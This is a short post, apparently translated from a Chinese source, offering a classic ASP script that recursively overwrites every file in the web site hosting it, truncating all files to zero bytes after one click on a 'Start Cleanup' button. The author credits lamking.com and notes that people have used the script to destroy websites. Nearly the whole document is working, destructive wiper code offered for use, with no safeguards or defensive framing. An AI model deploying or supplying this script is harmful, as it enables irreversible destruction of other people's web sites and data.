Function: You can clear all the files of the web site where this file is located and clear the file contents to zero. After the operation is completed, the size of all files will become 0 bytes.
This code is my own original creation. Please mark the reprint from lamking.com. Thank you for your cooperation. In addition, the program can be expanded.
It is a work made out of boredom. Some people have used this to destroy some websites.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write "Cleaning completed"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""Start Cleanup""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>